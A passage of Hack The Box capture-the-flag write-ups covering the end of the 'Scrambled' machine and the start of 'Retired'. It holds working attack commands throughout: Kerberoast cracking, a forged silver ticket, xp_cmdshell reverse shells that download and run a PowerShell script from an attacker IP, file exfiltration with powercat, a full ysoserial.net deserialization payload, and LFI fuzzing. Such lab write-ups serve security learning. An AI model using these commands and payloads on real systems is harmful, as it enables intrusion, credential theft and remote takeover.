So, we have the TGS (Ticket Granting Service) for the `sqlsvc` user. The TGS "is the ticket which user can use to authenticate against a service. It is encrypted with the service key" ([source](https://www.tarlogic.com/blog/how-kerberos-works/)). Now, we can try to crack the TGS to get the key.

According to the [HackTricks Kerberoast section on cracking](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#cracking), we can run `john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.kerberoast` to crack the hash. Within a few seconds this gives us the password `Pegasus60`.

On HackTricks, we look at the [Post-exploitation with high privilege account](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account) section, which talks about the [Silver Ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#silver-ticket) attack: "The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user (like privileged access to a computer)."

We have the password for the `sqlsvc` account. So, we can easily [get an NTLM hash](https://codebeautify.org/ntlm-hash-generator) of that password: `B999A16500B87D17EC7F2E2A68778F05`. Since we have the NTLM hash of the MS SQL service, we can use the silver ticket attack to forge a custom TGS as the Administrator user, which will definitely have access to the database.

We can run `export KRB5CCNAME=sqlsvc.ccache` and then `secretsdump.py -k -no-pass scrm.local/sqlsvc@dc1.scrm.local -debug` to get the domain SID:

```
[+] Using Kerberos Cache: sqlsvc.ccache
[+] SPN CIFS/DC1.SCRM.LOCAL@SCRM.LOCAL not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/SCRM.LOCAL@SCRM.LOCAL
[+] Using TGT from cache
[+] Trying to connect to KDC at SCRM.LOCAL
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[+] Session resume file will be sessionresume_CCQuQPwx
[+] Trying to connect to KDC at SCRM.LOCAL
[+] Calling DRSCrackNames for S-1-5-21-2743207045-1827831105-2542523200-500
[+] Calling DRSGetNCChanges for {edaf791f-e75b-4711-8232-3cd66840032a}
```

So, the domain SID is `S-1-5-21-2743207045-1827831105-2542523200`. The exmaple command from [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#silver-ticket) is `python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus`.

For us, the command will be `ticketer.py -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn mssqlsvc/dc1.scrm.local Administrator`:

```
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
```

Now, we can access the MS SQL server by running `export KRB5CCNAME=Administrator.ccache` and `mssqlclient.py -k -no-pass dc1.scrm.local`:

```
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
```

To enumerate the database, we use the same commands as in the [StreamIO writeup](/machines/streamio).

```
SQL> SELECT name FROM master.dbo.sysdatabases
name                                                                                                 

--------------------------------------------------------------------------------------------------------------------------------

master                                                                                               

tempdb                                                                                               

model                                                                                                

msdb                                                                                                 

ScrambleHR                                                                                           

SQL> use scramblehr;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
[*] INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
SQL> SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'
TABLE_CATALOG                                                                                                                      TABLE_SCHEMA                                                                                                                       TABLE_NAME                                                                                                                         TABLE_TYPE 

--------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   ---------- 

ScrambleHR                                                                                                                         dbo                                                                                                                                Employees                                                                                                                          b'BASE TABLE'

ScrambleHR                                                                                                                         dbo                                                                                                                                UserImport                                                                                                                         b'BASE TABLE'

ScrambleHR                                                                                                                         dbo                                                                                                                                Timesheets                                                                                                                         b'BASE TABLE'

SQL> SELECT * from UserImport;
LdapUser                                             LdapPwd                                              LdapDomain                                           RefreshInterval   IncludeGroups

--------------------------------------------------   --------------------------------------------------   --------------------------------------------------   ---------------   -------------

MiscSvc                                              ScrambledEggs9900                                    scrm.local                                                        90               0

SQL>
```

Now, we have `MiscSvc:ScrambledEggs9900` as credentials.

We gain command execution using [xp\_cmdshell](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssqlclient.py):

```
SQL> enable_xp_cmdshell
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```

To get a reverse shell, we first download [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1). Then, start a basic web server with `python -m http.server 4094` so the target can download our reverse shell. Next, start a listener with `nc -nvlp 9014`. Finally, run `EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 9014 | powershell -noprofile'` (command based on [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssqlclient.py)) to get a reverse shell.

## Lateral Movement

We are the `scrm\sqlsvc` user, but looking at the `Desktop` directory with `dir C:\Users\sqlsvc\Desktop` shows no flag. However, we have credentials for `MiscSvc` from the database. So, let's switch to that user and check for a flag.

We can run commands as that user with the following syntax:

```
$Password = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('scrm\MiscSvc', $Password)
Invoke-Command -Computer dc1 -Credential $Cred -Command {whoami}
```

The above should print `scrm\miscsvc`. Now we can start another listener with `nc -nvlp 9015` on our machine. Change into the `C:\Temp` directory on the target. Finally, run `Invoke-Command -Computer dc1 -Credential $Cred -Command {IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 9015}` on the target to get a shell as `miscsvc`. This command will download [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) and then run it like before with `xp_cmdshell`.

Finally, run `type C:\Users\miscsvc\Desktop\user.txt` to get the `user.txt` flag.

## Privilege Escalation

At the path `C:\Shares\IT\Apps\Sales Order Client` we have the following files:

```
    Directory: C:\Shares\IT\Apps\Sales Order Client


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       05/11/2021     20:52          86528 ScrambleClient.exe
-a----       05/11/2021     20:52          19456 ScrambleLib.dll
```

Download [powercat](https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1) and make sure the Python web server is still running.

We can run `IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.98:4094/powercat.ps1')` to download and load `powercat`. Then, run `nc -nvlp 55628 > ScrambleClient.exe` on your machine and run `powercat -c 10.10.14.98 -p 55628 -i "C:\Shares\IT\Apps\Sales Order Client\ScrambleClient.exe"` on the target. Press CTRL+C in the netcat reciever when it's been long enough for the file to transfer. Do the same thing for `ScrambleLib.dll`.

Here are those files: [ScrambleClient.exe](https://github.com/HHousen/hack-the-box/blob/master/Machines/Scrambled/ScrambleClient.exe) and [ScrambleLib.dll](https://github.com/HHousen/hack-the-box/blob/master/Machines/Scrambled/ScrambleLib.dll).

The `file` command says `ScrambleClient.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows`.

In the [Support machine writeup](/machines/support), we dealt with decompiling a .Net binary. I'm going to use [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy). Download the latest release from [the releases page](https://github.com/icsharpcode/AvaloniaILSpy/releases) and run it with `./ILSpy`.

We find a deserialization vulnerability in the `ScrambleLib.ScrambleNetClient.UploadOrder` function:

```
public void UploadOrder(SalesOrder NewOrder)
    {
        try
        {
            Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
            string text = NewOrder.SerializeToBase64();
            Log.Write("Order serialized to base64: " + text);
            ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
            ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
            if (type == ScrambleNetResponse.ResponseType.Success)
            {
                Log.Write("Upload successful");
                return;
            }
            throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
        }
        catch (Exception ex)
        {
            ProjectData.SetProjectError(ex);
            Exception ex2 = ex;
            Log.Write("Error: " + ex2.Message);
            throw ex2;
        }
    }
```

The constructor shows that the default port is `4411`, so this is the service we saw earlier:

```
public ScrambleNetClient()
    {
        Server = string.Empty;
        Port = 4411;
    }
```

In the `ScrambleLib.ScrambleNetRequest.GetCodeFromMessageType` function, we see:

```
public static string GetCodeFromMessageType(RequestType MsgType)
    {
        if (_MessageTypeToCode == null)
        {
            _MessageTypeToCode = new Dictionary<RequestType, string>();
            _MessageTypeToCode.Add(RequestType.CloseConnection, "QUIT");
            _MessageTypeToCode.Add(RequestType.ListOrders, "LIST_ORDERS");
            _MessageTypeToCode.Add(RequestType.AuthenticationRequest, "LOGON");
            _MessageTypeToCode.Add(RequestType.UploadOrder, "UPLOAD_ORDER");
        }
        return _MessageTypeToCode[MsgType];
    }
```

So, it looks like we need to use the `UPLOAD_ORDER` command.

We can use [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) to exploit the deserialization vulnerability. [This HackTricks page](https://book.hacktricks.xyz/pentesting-web/deserialization#ysoserial.net) discusses this program. This is a Windows application so I tried to run it with [Wine](https://www.winehq.org/). I needed to install Wine Mono, which I did by following [this AskUbuntu answer](https://askubuntu.com/a/992215). However, running the command using `wine` produces different output than running the command on native Windows. This took me a while to figure out since I didn't have a Windows VM handy.

The final command to run to create the exploit is `ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.98:4094/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.98 -Port 17019"`:

```
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAoAtBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMmdZOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0c5M1pYSnphR1ZzYkNCSlJWZ29UbVYzTFU5aWFtVmpkQ0JPWlhRdVYyVmlRMnhwWlc1MEtTNUViM2R1Ykc5aFpGTjBjbWx1WnlnbmFIUjBjRG92THpFd0xqRXdMakUwTGprNE9qUXdPVFF2U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBdWNITXhKeWs3U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBZ0xWSmxkbVZ5YzJVZ0xVbFFRV1JrY21WemN5QXhNQzR4TUM0eE5DNDVPQ0F0VUc5eWRDQXhOekF4T1NJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL
```

We are using the reverse shell from before in this command.

Tip: Pipe the command directly to `xclip -selection clipboard` to automatically copy the output to your clipboard.

Start a listener with `nc -nvlp 17019`. Connect to service with `nc 10.10.11.168 4411`. Make sure the Python web server is still running with `python -m http.server 4094`. Send `UPLOAD_ORDER;` followed by the payload from before:

```
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAoAtBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMmdZOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0c5M1pYSnphR1ZzYkNCSlJWZ29UbVYzTFU5aWFtVmpkQ0JPWlhRdVYyVmlRMnhwWlc1MEtTNUViM2R1Ykc5aFpGTjBjbWx1WnlnbmFIUjBjRG92THpFd0xqRXdMakUwTGprNE9qUXdPVFF2U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBdWNITXhKeWs3U1c1MmIydGxMVkJ2ZDJWeVUyaGxiR3hVWTNBZ0xWSmxkbVZ5YzJVZ0xVbFFRV1JrY21WemN5QXhNQzR4TUM0eE5DNDVPQ0F0VUc5eWRDQXhOekF4T1NJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL
```

Now, we can execute `type C:\Users\Administrator\Desktop\root.txt` to get the `root.txt` flag.


# Retired

## Summary

Nmap finds SSH and an Nginx server. The website has a `page` GET parameter, which we fuzz and find a beta page as well as an LFI exploit. The beta page upload a file to `activate_license.php`, which we leak the source code of using the LFI exploit. `activate_license.php` will send the uploaded file to a service running on port `1337`. Since we can access files on the system, we read `/proc/sched_debug` and see that `/usr/bin/activate_license` is the program on port `1337`. We download it so we can reverse engineer it.

Decompiling `activate_license` with [Ghidra](https://ghidra-sre.org/) reveals a buffer overflow exploit with the data we can upload to it. We use gdb with the [peda](https://github.com/longld/peda) extension to debug the program and send a pattern using [pwntools](https://github.com/Gallopsled/pwntools) to determine the offset based on the overwritten registers. The binary has the non-executable stack protection enabled, but we can use `sys_mprotect` to turn off this protection using an approach similar to [this guide](https://syrion.me/blog/elfx64-bypass-nx-with-mprotect/). `mprotect()` changes the access protections for the calling process's memory pages. We need to tell `mprotect()` the start of the stack, the length of the stack, and the protection mode (RWE) to apply to that area of memory. This will make the entire stack executable. To get these addresses, we use the `/proc/$PID/maps` filesystem through the LFI exploit. Finally, we use `msfvenom` to generate some basic shellcode. Our final exploit is in [exploit.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/exploit.py).

Running the [exploit.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/exploit.py) will get us a shell as `www-data`. In the `/var/www` directory we notice some ZIP files being generated every minute. From [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS), we learn that there is a system timer that runs `website_backup.service` every minute, which runs as the `dev` user and it creates a ZIP file from `/var/www/html`. So, we create a symbolic link to `dev`'s SSH private key inside of `/var/www/html`. Then, we unzip the created ZIP file and SSH as `dev` using the private key. This gets us the `user.txt` flag.

The privilege escalation part of this box is pretty unique. In the `/home/dev/emuemu/` directory we find a `reg_helper` binary and its source code. This binary takes input and writes it to `/proc/sys/fs/binfmt_misc/register`. That file can only be written to by `root`, but from the `Makefile` we see that the binary at `/usr/lib/emuemu/reg_helper` has the `cap_dac_override` capability, so it bypasses all file write checks. The vulnerability we are going to exploit is pretty cool and these resources are amazing at explaining it: [What is SUID? Shadow SUID for Privilege Persistence: Part 1](https://www.sentinelone.com/blog/shadow-suid-for-privilege-persistence-part-1/) and [SUID Linux: Shadow SUID for Privilege Persistence: Part 2](https://www.sentinelone.com/blog/shadow-suid-privilege-persistence-part-2/).

From those articles (above): When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt\_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt\_elf handler is used to load the binary into the elf interpreter."

We can use [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc) to exploit the ability to write to `/proc/sys/fs/binfmt_misc/register`. The script will register a new interpreter with `binfmt_misc` linked to the magic bytes of a random SUID binary. That new interpreter will run `/bin/sh`. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with `binfmt_misc` and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.

After [a few modifications to the exploit](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/binfmt_rootkit/README.md), we run it and get the `root.txt` flag.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.154 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.154`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_  256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open  http    nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Website (Port `80`)

Let's check out the website since that's the only thing we have to work with (other than SSH):

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9aba9bf11d01660e0a61fe0cf8b03ae83aeb8b10%2FScreenshot%202022-08-04%20at%2018-42-33%20Agency%20-%20Start%20Bootstrap%20Theme.png?alt=media)

The URL is `http://10.10.11.154/index.php?page=default.html`, so we have a `page` parameter to play with.

We check for a local file inclusion (LFI) exploit on the `page` parameter by running `ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://10.10.11.154/index.php\?page\=FUZZ -fs 0`:

```
etc/fstab              [Status: 302, Size: 327, Words: 13, Lines: 9, Duration: 30ms]
/etc/passwd             [Status: 302, Size: 1488, Words: 14, Lines: 29, Duration: 31ms]
/etc/hosts.deny         [Status: 302, Size: 711, Words: 128, Lines: 18, Duration: 32ms]
/etc/crontab            [Status: 302, Size: 1042, Words: 181, Lines: 23, Duration: 33ms]
/etc/issue              [Status: 302, Size: 27, Words: 5, Lines: 3, Duration: 34ms]
/etc/hosts.allow        [Status: 302, Size: 411, Words: 82, Lines: 11, Duration: 36ms]
/etc/hosts              [Status: 302, Size: 154, Words: 5, Lines: 8, Duration: 36ms]
/etc/motd               [Status: 302, Size: 286, Words: 36, Lines: 8, Duration: 24ms]
/etc/motd               [Status: 302, Size: 286, Words: 36, Lines: 8, Duration: 24ms]
/etc/mtab               [Status: 302, Size: 1466, Words: 101, Lines: 21, Duration: 28ms]
/etc/passwd             [Status: 302, Size: 1488, Words: 14, Lines: 29, Duration: 27ms]
/etc/network/interfaces [Status: 302, Size: 337, Words: 32, Lines: 15, Duration: 29ms]
/etc/networks           [Status: 302, Size: 60, Words: 1, Lines: 5, Duration: 30ms]
/etc/profile            [Status: 302, Size: 769, Words: 157, Lines: 35, Duration: 31ms]
/etc/resolv.conf        [Status: 302, Size: 38, Words: 3, Lines: 3, Duration: 31ms]
/etc/ssh/sshd_config    [Status: 302, Size: 3338, Words: 300, Lines: 128, Duration: 30ms]
/etc/ssh/ssh_config     [Status: 302, Size: 1650, Words: 249, Lines: 54, Duration: 32ms]
/proc/filesystems       [Status: 302, Size: 347, Words: 1, Lines: 29, Duration: 28ms]
/proc/cpuinfo           [Status: 302, Size: 2320, Words: 283, Lines: 55, Duration: 30ms]
/proc/modules           [Status: 302, Size: 3109, Words: 301, Lines: 61, Duration: 30ms]
/proc/stat              [Status: 302, Size: 1194, Words: 489, Lines: 11, Duration: 29ms]
/proc/swaps             [Status: 302, Size: 104, Words: 32, Lines: 3, Duration: 29ms]
/proc/mounts            [Status: 302, Size: 1466, Words: 101, Lines: 21, Duration: 30ms]
/proc/ioports           [Status: 302, Size: 1537, Words: 313, Lines: 59, Duration: 30ms]
/proc/interrupts        [Status: 302, Size: 4180, Words: 1938, Lines: 68, Duration: 30ms]
/proc/meminfo           [Status: 302, Size: 1419, Words: 493, Lines: 52, Duration: 31ms]
/proc/version           [Status: 302, Size: 184, Words: 21, Lines: 2, Duration: 31ms]
/proc/self/net/arp      [Status: 302, Size: 156, Words: 78, Lines: 3, Duration: 32ms]
/var/run/utmp           [Status: 302, Size: 1536, Words: 1, Lines: 3, Duration: 29ms]
/var/log/wtmp           [Status: 302, Size: 12288, Words: 2, Lines: 11, Duration: 31ms]
/var/log/lastlog        [Status: 302, Size: 292584, Words: 1, Lines: 2, Duration: 29ms]
:: Progress: [257/257] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

So, we can read files on the system.

Let's scan for other directories by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/FUZZ`:

```
                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 25ms]
assets                  [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 33ms]
css                     [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 26ms]
js                      [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 29ms]
                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 23ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1482 req/sec :: Duration: [0:01:02] :: Errors: 0 ::
```

Nothing unusual here.

We can fuzz for different pages using `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.154/index.php\?page\=FUZZ.html -fs 0`:

```
default                 [Status: 200, Size: 11414, Words: 4081, Lines: 189, Duration: 36ms]
beta                    [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 25ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1399 req/sec :: Duration: [0:01:17] :: Errors: 4 ::
```

Let's look at the `beta` page located at `http://10.10.11.154/index.php?page=beta.html`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-493d286e973d57734e4658a98d7dc43dc35c166a%2FScreenshot%202022-08-04%20at%2018-47-28%20Agency%20-%20Start%20Bootstrap%20Theme.png?alt=media)

From the source code we see that the form action is `activate_license.php`. With the LFI exploit we can get the source of this file by running `curl http://10.10.11.154/index.php\?page\=activate_license.php`:

```php
<?php
if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '127.0.0.1', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
    }

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
